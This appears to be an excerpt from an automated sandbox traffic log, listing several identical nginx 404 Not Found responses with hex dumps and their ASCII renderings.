Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:11:47 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:11:50 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:11:52 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:11:55 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:11:58 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:12:38 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:12:41 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:12:44 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:12:47 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
